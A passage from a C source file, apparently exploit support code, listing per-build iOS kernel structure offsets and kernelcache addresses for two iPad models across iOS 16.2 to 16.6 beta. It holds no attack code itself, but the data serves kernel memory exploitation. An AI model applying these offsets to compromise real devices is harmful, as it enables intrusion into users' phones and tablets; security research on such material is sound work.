.vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a381208,\n        .kernelcache__gPhysBase = 0xfffffff00792ffa0,\n        .kernelcache__gPhysSize = 0xfffffff00792ffa0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00792e178,\n        .kernelcache__perfmon_devices = 0xfffffff00a3bf500,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ee9a88,\n        .kernelcache__ptov_table = 0xfffffff0078e3160,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3be990,\n        .kernelcache__vm_pages = 0xfffffff0078dfea8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078e2110,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3be988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f3863c,\n    },\n\n    //16.4.1\n        {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:48 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20E252\",\n        .device_id = \"iPad8,10\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a381208,\n        .kernelcache__gPhysBase = 0xfffffff00792ffa0,\n        .kernelcache__gPhysSize = 0xfffffff00792ffa0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00792e178,\n        .kernelcache__perfmon_devices = 0xfffffff00a3bf500,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ee9a88,\n        .kernelcache__ptov_table = 0xfffffff0078e3160,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3be990,\n        .kernelcache__vm_pages = 0xfffffff0078dfea8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078e2110,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3be988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f3863c,\n    },\n\n    //16.5\n        {\n        .kern_version = \"Darwin Kernel Version 22.5.0: Mon Apr 24 21:10:51 PDT 2023; root:xnu-8796.122.4~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20F66\",\n        .device_id = \"iPad8,10\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a389288,\n        .kernelcache__gPhysBase = 0xfffffff0079340e0,\n        .kernelcache__gPhysSize = 0xfffffff0079340e0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff0079322b8,\n        .kernelcache__perfmon_devices = 0xfffffff00a3c7500,\n        .kernelcache__perfmon_dev_open = 0xfffffff007eedc8c,\n        .kernelcache__ptov_table = 0xfffffff0078e7160,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3c6990,\n        .kernelcache__vm_pages = 0xfffffff0078e3ea8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078e6110,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3c6988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f3cad8,\n    },\n\n    //16.6b1\n        {\n        .kern_version = \"Darwin Kernel Version 22.6.0: Tue May  9 06:18:00 PDT 2023; root:xnu-8796.140.12.502.1~12/RELEASE_ARM64_T8020\",\n        .build_version = \"20G5026e\",\n        .device_id = \"iPad8,10\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a419ab0,\n        .kernelcache__gPhysBase = 0xfffffff007944288,\n        .kernelcache__gPhysSize = 0xfffffff007944288 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007942440,\n        .kernelcache__perfmon_devices = 0xfffffff00a459530,\n        .kernelcache__perfmon_dev_open = 0xfffffff007f0a434,\n        .kernelcache__ptov_table = 0xfffffff0078f79a0,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a458910,\n        .kernelcache__vm_pages = 0xfffffff0078f40f8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078f6950,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a458908,\n        .kernelcache__vn_kqfilter = 0xfffffff007f58c44,\n    },\n\n    // iPad8,11 16.2\n{\n        .kern_version = \"Darwin Kernel Version 22.1.0: Thu Oct  6 19:33:53 PDT 2022; root:xnu-8792.42.7~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20C65\",\n        .device_id = \"iPad8,11\",\n        .fileglob__fg_ops = 0x0,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0x0,\n        .proc__object_size = 0x530,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0x0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a2a9150,\n        .kernelcache__gPhysBase = 0xfffffff00784f9d8,\n        .kernelcache__gPhysSize = 0xfffffff00784f9d8 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00784dbc0,\n        .kernelcache__perfmon_devices = 0xfffffff00a2e4300,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ec279c,\n        .kernelcache__ptov_table = 0xfffffff007803890,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a2e3780,\n        .kernelcache__vm_pages = 0xfffffff0078006c8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007802850,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a2e3778,\n        .kernelcache__vn_kqfilter = 0xfffffff007f14d00,\n    },\n\n    //16.3\n       {\n        .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:51 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20D47\",\n        .device_id = \"iPad8,11\",\n        .fileglob__fg_ops = 0x0,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0x0,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0x0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a2b9178,\n        .kernelcache__gPhysBase = 0xfffffff007853d48,\n        .kernelcache__gPhysSize = 0xfffffff007853d48 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007851f28,\n        .kernelcache__perfmon_devices = 0xfffffff00a2f4380,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ec7398,\n        .kernelcache__ptov_table = 0xfffffff007807288,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a2f3800,\n        .kernelcache__vm_pages = 0xfffffff0078040c0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007806248,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a2f37f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f19a20,\n    },\n\n    //16.3.1\n       {\n        .kern_version = \"Darwin Kernel Version 22.3.0: Wed Jan  4 21:24:51 PST 2023; root:xnu-8792.82.2~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20D67\",\n        .device_id = \"iPad8,11\",\n        .fileglob__fg_ops = 0x0,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0x0,\n        .proc__object_size = 0x538,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0x0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a2b9178,\n        .kernelcache__gPhysBase = 0xfffffff007853d48,\n        .kernelcache__gPhysSize = 0xfffffff007853d48 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff007851f28,\n        .kernelcache__perfmon_devices = 0xfffffff00a2f4380,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ec7398,\n        .kernelcache__ptov_table = 0xfffffff007807288,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a2f3800,\n        .kernelcache__vm_pages = 0xfffffff0078040c0,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff007806248,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a2f37f8,\n        .kernelcache__vn_kqfilter = 0xfffffff007f19a20,\n    },\n\n    //16.4\n        {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:48 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20E246\",\n        .device_id = \"iPad8,11\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 0xd0,\n        .kqworkloop__kqwl_dynamicid = 0xd0 + 0x18,\n        .kqworkloop__object_size = 0x108,\n        .pmap__tte = 0x0,\n        .pmap__ttep = 0x8,\n        .proc__p_list__le_next = 0x0,\n        .proc__p_list__le_prev = 0x8,\n        .proc__p_pid = 0x60,\n        .proc__p_fd__fd_ofiles = 0xf8,\n        .proc__object_size = 0x730,\n        .pseminfo__psem_usecount = 0x04,\n        .pseminfo__psem_uid = 0x0c,\n        .pseminfo__psem_gid = 0x10,\n        .pseminfo__psem_name = 0x14,\n        .pseminfo__psem_semobject = 0x38,\n        // .psemnode__pinfo = 0x0000,\n        // .psemnode__padding = 0x0008,\n        // .psemnode__object_size = 0x0010,\n        .semaphore__owner = 0x28,\n        .specinfo__si_rdev = 0x18,\n        .task__map = 0x28,\n        .task__threads__next = 0x80 - 0x28,\n        .task__threads__prev = 0x80 - 0x28 + 0x8,\n        .task__itk_space = 0x300,\n        .task__object_size = 0x628,\n        .thread__task_threads__next = 0x368 - 0x18,\n        .thread__task_threads__prev = 0x368 - 0x18 + 0x8,\n        .thread__map = 0x368,\n        .thread__thread_id = 0x400,\n        .thread__object_size = 0x4a8,\n        .uthread__object_size = 0x200,\n        .vm_map_entry__links__prev = 0x00,\n        .vm_map_entry__links__next = 0x08,\n        .vm_map_entry__links__start = 0x10,\n        .vm_map_entry__links__end = 0x18,\n        .vm_map_entry__store__entry__rbe_left = 0x20,\n        .vm_map_entry__store__entry__rbe_right = 0x28,\n        .vm_map_entry__store__entry__rbe_parent = 0x30,\n        .vnode__v_un__vu_specinfo = 0x78,\n        ._vm_map__hdr__links__prev = 0x00 + 0x10,\n        ._vm_map__hdr__links__next = 0x08 + 0x10,\n        ._vm_map__hdr__links__start = 0x10 + 0x10,\n        ._vm_map__hdr__links__end = 0x18 + 0x10,\n        ._vm_map__hdr__nentries = 0x30,\n        ._vm_map__hdr__rb_head_store__rbh_root = 0x38,\n        ._vm_map__pmap = 0x40,\n        ._vm_map__hint = 0x90 + 0x08,\n        ._vm_map__hole_hint = 0x90 + 0x10,\n        ._vm_map__holes_list = 0x90 + 0x18,\n        ._vm_map__object_size = 0xc0,\n        .kernelcache__kernel_base = 0xfffffff007004000,\n        .kernelcache__cdevsw = 0xfffffff00a381208,\n        .kernelcache__gPhysBase = 0xfffffff00792ffa0,\n        .kernelcache__gPhysSize = 0xfffffff00792ffa0 + 0x8,\n        .kernelcache__gVirtBase = 0xfffffff00792e178,\n        .kernelcache__perfmon_devices = 0xfffffff00a3bf500,\n        .kernelcache__perfmon_dev_open = 0xfffffff007ee9a88,\n        .kernelcache__ptov_table = 0xfffffff0078e3160,\n        .kernelcache__vm_first_phys_ppnum = 0xfffffff00a3be990,\n        .kernelcache__vm_pages = 0xfffffff0078dfea8,\n        .kernelcache__vm_page_array_beginning_addr = 0xfffffff0078e2110,\n        .kernelcache__vm_page_array_ending_addr = 0xfffffff00a3be988,\n        .kernelcache__vn_kqfilter = 0xfffffff007f3863c,\n    },\n\n    //16.4.1\n        {\n        .kern_version = \"Darwin Kernel Version 22.4.0: Mon Mar  6 20:42:48 PST 2023; root:xnu-8796.102.5~1/RELEASE_ARM64_T8020\",\n        .build_version = \"20E252\",\n        .device_id = \"iPad8,11\",\n        .fileglob__fg_ops = 0x28,\n        .fileglob__fg_data = 0x40 - 0x8,\n        .fileops__fo_kqfilter = 0x30,\n        // .fileproc__fp_iocount = 0x0000,\n        // .fileproc__fp_vflags = 0x0004,\n        // .fileproc__fp_flags = 0x0008,\n        // .fileproc__fp_guard_attrs = 0x000a,\n        // .fileproc__fp_glob = 0x0010,\n        // .fileproc__fp_guard = 0x0018,\n        // .fileproc__object_size = 0x0020,\n        .fileproc_guard__fpg_guard = 0x8,\n        .kqworkloop__kqwl_state = 0x10,\n        .kqworkloop__kqwl_p = 0x18,\n        .kqworkloop__kqwl_owner = 